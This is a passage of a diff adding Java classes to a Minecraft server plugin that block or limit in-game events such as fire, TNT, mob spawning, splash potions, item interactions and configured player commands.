player.sendMessage(ChatColor.GRAY + "Water placement is currently disabled.");
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case FIRE:
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
FLog.info(String.format("%s placed fire @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||||
|
|
||||||
|
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Fire placement is currently disabled.");
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case TNT:
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
FLog.info(String.format("%s placed TNT @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||||
|
|
||||||
|
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
|
||||||
|
player.sendMessage(ChatColor.GRAY + "TNT is currently disabled.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case STRUCTURE_BLOCK:
|
||||||
|
case STRUCTURE_VOID:
|
||||||
|
{
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Structure blocks are disabled.");
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,172 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import org.bukkit.entity.Entity;
|
||||||
|
import org.bukkit.entity.EntityType;
|
||||||
|
import org.bukkit.entity.Projectile;
|
||||||
|
import org.bukkit.entity.Tameable;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.block.BlockBurnEvent;
|
||||||
|
import org.bukkit.event.block.BlockFromToEvent;
|
||||||
|
import org.bukkit.event.block.BlockIgniteEvent;
|
||||||
|
import org.bukkit.event.block.LeavesDecayEvent;
|
||||||
|
import org.bukkit.event.entity.EntityCombustEvent;
|
||||||
|
import org.bukkit.event.entity.EntityDamageEvent;
|
||||||
|
import org.bukkit.event.entity.EntityDeathEvent;
|
||||||
|
import org.bukkit.event.entity.EntityExplodeEvent;
|
||||||
|
import org.bukkit.event.entity.ExplosionPrimeEvent;
|
||||||
|
import org.bukkit.event.entity.ProjectileHitEvent;
|
||||||
|
import org.bukkit.event.player.PlayerDropItemEvent;
|
||||||
|
|
||||||
|
public class EventBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public EventBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onBlockBurn(BlockBurnEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onBlockIgnite(BlockIgniteEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onBlockFromTo(BlockFromToEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onEntityExplode(EntityExplodeEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
event.setYield(0.0F);
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onExplosionPrime(ExplosionPrimeEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
event.setRadius(ConfigEntry.EXPLOSIVE_RADIUS.getDouble().floatValue());
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onEntityCombust(EntityCombustEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onEntityDeath(EntityDeathEvent event)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||||
|
{
|
||||||
|
event.setDroppedExp(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onProjectileHit(ProjectileHitEvent event)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
Projectile entity = event.getEntity();
|
||||||
|
if (event.getEntityType() == EntityType.ARROW)
|
||||||
|
{
|
||||||
|
entity.getWorld().createExplosion(entity.getLocation(), 2F);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onEntityDamage(EntityDamageEvent event)
|
||||||
|
{
|
||||||
|
switch (event.getCause())
|
||||||
|
{
|
||||||
|
case LAVA:
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConfigEntry.ENABLE_PET_PROTECT.getBoolean())
|
||||||
|
{
|
||||||
|
Entity entity = event.getEntity();
|
||||||
|
if (entity instanceof Tameable)
|
||||||
|
{
|
||||||
|
if (((Tameable) entity).isTamed())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onPlayerDropItem(PlayerDropItemEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.getPlayer().getWorld().getEntities().size() > 750)
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onLeavesDecay(LeavesDecayEvent event)
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,108 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerInteractEvent;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
|
||||||
|
public class InteractBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public InteractBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onPlayerInteract(PlayerInteractEvent event)
|
||||||
|
{
|
||||||
|
switch (event.getAction())
|
||||||
|
{
|
||||||
|
case RIGHT_CLICK_AIR:
|
||||||
|
case RIGHT_CLICK_BLOCK:
|
||||||
|
{
|
||||||
|
handleRightClick(event);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case LEFT_CLICK_AIR:
|
||||||
|
case LEFT_CLICK_BLOCK:
|
||||||
|
{
|
||||||
|
//
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handleRightClick(PlayerInteractEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
switch (event.getMaterial())
|
||||||
|
{
|
||||||
|
case WATER_BUCKET:
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(player) || ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Water buckets are currently disabled.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case LAVA_BUCKET:
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(player) || ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Lava buckets are currently disabled.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case EXPLOSIVE_MINECART:
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||||
|
player.sendMessage(ChatColor.GRAY + "TNT minecarts are currently disabled.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case SIGN:
|
||||||
|
case SIGN_POST:
|
||||||
|
case WALL_SIGN:
|
||||||
|
{
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Sign interaction is currently disabled.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,104 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import org.bukkit.entity.Bat;
|
||||||
|
import org.bukkit.entity.EnderDragon;
|
||||||
|
import org.bukkit.entity.Entity;
|
||||||
|
import org.bukkit.entity.Ghast;
|
||||||
|
import org.bukkit.entity.Giant;
|
||||||
|
import org.bukkit.entity.HumanEntity;
|
||||||
|
import org.bukkit.entity.Slime;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.entity.CreatureSpawnEvent;
|
||||||
|
|
||||||
|
public class MobBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public MobBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onCreatureSpawn(CreatureSpawnEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.MOB_LIMITER_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Entity spawned = event.getEntity();
|
||||||
|
if (spawned instanceof EnderDragon)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (spawned instanceof Ghast)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.MOB_LIMITER_DISABLE_GHAST.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (spawned instanceof Slime)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.MOB_LIMITER_DISABLE_SLIME.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (spawned instanceof Giant)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.MOB_LIMITER_DISABLE_GIANT.getBoolean())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (spawned instanceof Bat)
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int mobLimiterMax = ConfigEntry.MOB_LIMITER_MAX.getInteger();
|
||||||
|
|
||||||
|
if (mobLimiterMax <= 0)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int mobcount = 0;
|
||||||
|
for (Entity entity : event.getLocation().getWorld().getLivingEntities())
|
||||||
|
{
|
||||||
|
if (!(entity instanceof HumanEntity))
|
||||||
|
{
|
||||||
|
mobcount++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mobcount > mobLimiterMax)
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,62 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.entity.PotionSplashEvent;
|
||||||
|
import org.bukkit.projectiles.ProjectileSource;
|
||||||
|
|
||||||
|
public class PotionBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final int POTION_BLOCK_RADIUS_SQUARED = 20 * 20;
|
||||||
|
|
||||||
|
public PotionBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW, ignoreCancelled = true)
|
||||||
|
public void onThrowPotion(PotionSplashEvent event)
|
||||||
|
{
|
||||||
|
ProjectileSource source = event.getEntity().getShooter();
|
||||||
|
|
||||||
|
if (!(source instanceof Player))
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Player thrower = (Player) source;
|
||||||
|
|
||||||
|
if (plugin.al.isAdmin(thrower))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Player player : thrower.getWorld().getPlayers())
|
||||||
|
{
|
||||||
|
if (thrower.getLocation().distanceSquared(player.getLocation()) < POTION_BLOCK_RADIUS_SQUARED)
|
||||||
|
{
|
||||||
|
thrower.sendMessage(ChatColor.RED + "You cannot use splash potions close to other players.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,210 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import com.google.common.collect.Maps;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.command.CommandReflection;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandMap;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
|
||||||
|
public class CommandBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final Pattern flagPattern = Pattern.compile("(:([0-9]){5,})");
|
||||||
|
//
|
||||||
|
private final Map<String, CommandBlockerEntry> entryList = Maps.newHashMap();
|
||||||
|
private final List<String> unknownCommands = Lists.newArrayList();
|
||||||
|
|
||||||
|
public CommandBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
load();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
entryList.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void load()
|
||||||
|
{
|
||||||
|
entryList.clear();
|
||||||
|
unknownCommands.clear();
|
||||||
|
|
||||||
|
final CommandMap commandMap = CommandReflection.getCommandMap();
|
||||||
|
if (commandMap == null)
|
||||||
|
{
|
||||||
|
FLog.severe("Error loading commandMap.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
List<String> blockedCommands = (List<String>) ConfigEntry.BLOCKED_COMMANDS.getList();
|
||||||
|
for (String rawEntry : blockedCommands)
|
||||||
|
{
|
||||||
|
final String[] parts = rawEntry.split(":");
|
||||||
|
if (parts.length < 3 || parts.length > 4)
|
||||||
|
{
|
||||||
|
FLog.warning("Invalid command blocker entry: " + rawEntry);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final CommandBlockerRank rank = CommandBlockerRank.fromToken(parts[0]);
|
||||||
|
final CommandBlockerAction action = CommandBlockerAction.fromToken(parts[1]);
|
||||||
|
String commandName = parts[2].toLowerCase().substring(1);
|
||||||
|
final String message = (parts.length > 3 ? parts[3] : null);
|
||||||
|
|
||||||
|
if (rank == null || action == null || commandName == null || commandName.isEmpty())
|
||||||
|
{
|
||||||
|
FLog.warning("Invalid command blocker entry: " + rawEntry);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String[] commandParts = commandName.split(" ");
|
||||||
|
String subCommand = null;
|
||||||
|
if (commandParts.length > 1)
|
||||||
|
{
|
||||||
|
commandName = commandParts[0];
|
||||||
|
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).trim().toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
final Command command = commandMap.getCommand(commandName);
|
||||||
|
|
||||||
|
// Obtain command from alias
|
||||||
|
if (command == null)
|
||||||
|
{
|
||||||
|
unknownCommands.add(commandName);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
commandName = command.getName().toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (entryList.containsKey(commandName))
|
||||||
|
{
|
||||||
|
FLog.warning("Not blocking: /" + commandName + " - Duplicate entry exists!");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
|
||||||
|
entryList.put(blockedCommandEntry.getCommand(), blockedCommandEntry);
|
||||||
|
|
||||||
|
if (command != null)
|
||||||
|
{
|
||||||
|
for (String alias : command.getAliases())
|
||||||
|
{
|
||||||
|
entryList.put(alias.toLowerCase(), blockedCommandEntry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
FLog.info("Loaded " + blockedCommands.size() + " blocked commands (" + (blockedCommands.size() - unknownCommands.size()) + " known).");
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGHEST)
|
||||||
|
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||||
|
{
|
||||||
|
// Blocked commands
|
||||||
|
if (isCommandBlocked(event.getMessage(), event.getPlayer(), true))
|
||||||
|
{
|
||||||
|
// CommandBlocker handles messages and broadcasts
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCommandBlocked(String command, CommandSender sender)
|
||||||
|
{
|
||||||
|
return isCommandBlocked(command, sender, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCommandBlocked(String command, CommandSender sender, boolean doAction)
|
||||||
|
{
|
||||||
|
if (command == null || command.isEmpty())
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Format
|
||||||
|
command = command.toLowerCase().trim();
|
||||||
|
command = command.startsWith("/") ? command.substring(1) : command;
|
||||||
|
|
||||||
|
// Check for plugin specific commands
|
||||||
|
final String[] commandParts = command.split(" ");
|
||||||
|
if (commandParts[0].contains(":"))
|
||||||
|
{
|
||||||
|
if (doAction)
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(sender, "Plugin specific commands are disabled.");
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String part : commandParts)
|
||||||
|
{
|
||||||
|
Matcher matcher = flagPattern.matcher(part);
|
||||||
|
if (!matcher.matches())
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (doAction)
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(sender, "That command contains an illegal number: " + matcher.group(1));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtain sub command, if it exists
|
||||||
|
String subCommand = null;
|
||||||
|
if (commandParts.length > 1)
|
||||||
|
{
|
||||||
|
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtain entry
|
||||||
|
final CommandBlockerEntry entry = entryList.get(commandParts[0]);
|
||||||
|
if (entry == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate sub command
|
||||||
|
if (entry.getSubCommand() != null)
|
||||||
|
{
|
||||||
|
if (subCommand == null || !subCommand.startsWith(entry.getSubCommand()))
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (entry.getRank().hasPermission(sender))
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (doAction)
|
||||||
|
{
|
||||||
|
entry.doActions(sender);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,32 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||||
|
|
||||||
|
public enum CommandBlockerAction
|
||||||
|
{
|
||||||
|
|
||||||
|
BLOCK("b"),
|
||||||
|
BLOCK_AND_EJECT("a"),
|
||||||
|
BLOCK_UNKNOWN("u");
|
||||||
|
private final String token;
|
||||||
|
|
||||||
|
private CommandBlockerAction(String token)
|
||||||
|
{
|
||||||
|
this.token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getToken()
|
||||||
|
{
|
||||||
|
return this.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static CommandBlockerAction fromToken(String token)
|
||||||
|
{
|
||||||
|
for (CommandBlockerAction action : CommandBlockerAction.values())
|
||||||
|
{
|
||||||
|
if (action.getToken().equalsIgnoreCase(token))
|
||||||
|
{
|
||||||
|
return action;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,55 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||||
|
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public class CommandBlockerEntry
|
||||||
|
{
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
private final CommandBlockerRank rank;
|
||||||
|
@Getter
|
||||||
|
private final CommandBlockerAction action;
|
||||||
|
@Getter
|
||||||
|
private final String command;
|
||||||
|
@Getter
|
||||||
|
private final String subCommand;
|
||||||
|
@Getter
|
||||||
|
private final String message;
|
||||||
|
|
||||||
|
public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String message)
|
||||||
|
{
|
||||||
|
this(rank, action, command, null, message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String subCommand, String message)
|
||||||
|
{
|
||||||
|
this.rank = rank;
|
||||||
|
this.action = action;
|
||||||
|
this.command = command;
|
||||||
|
this.subCommand = (subCommand == null ? null : subCommand.toLowerCase().trim());
|
||||||
|
this.message = (message == null || message.equals("_") ? "That command is blocked." : message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doActions(CommandSender sender)
|
||||||
|
{
|
||||||
|
if (action == CommandBlockerAction.BLOCK_AND_EJECT && sender instanceof Player)
|
||||||
|
{
|
||||||
|
TotalFreedomMod.plugin().ae.autoEject((Player) sender, "You used a prohibited command: " + command);
|
||||||
|
FUtil.bcastMsg(sender.getName() + " was automatically kicked for using harmful commands.", ChatColor.RED);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action == CommandBlockerAction.BLOCK_UNKNOWN)
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(sender, "Unknown command. Type \"help\" for help.", ChatColor.RESET);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.playerMsg(sender, FUtil.colorize(message));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,73 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public enum CommandBlockerRank
|
||||||
|
{
|
||||||
|
|
||||||
|
ANYONE("a"),
|
||||||
|
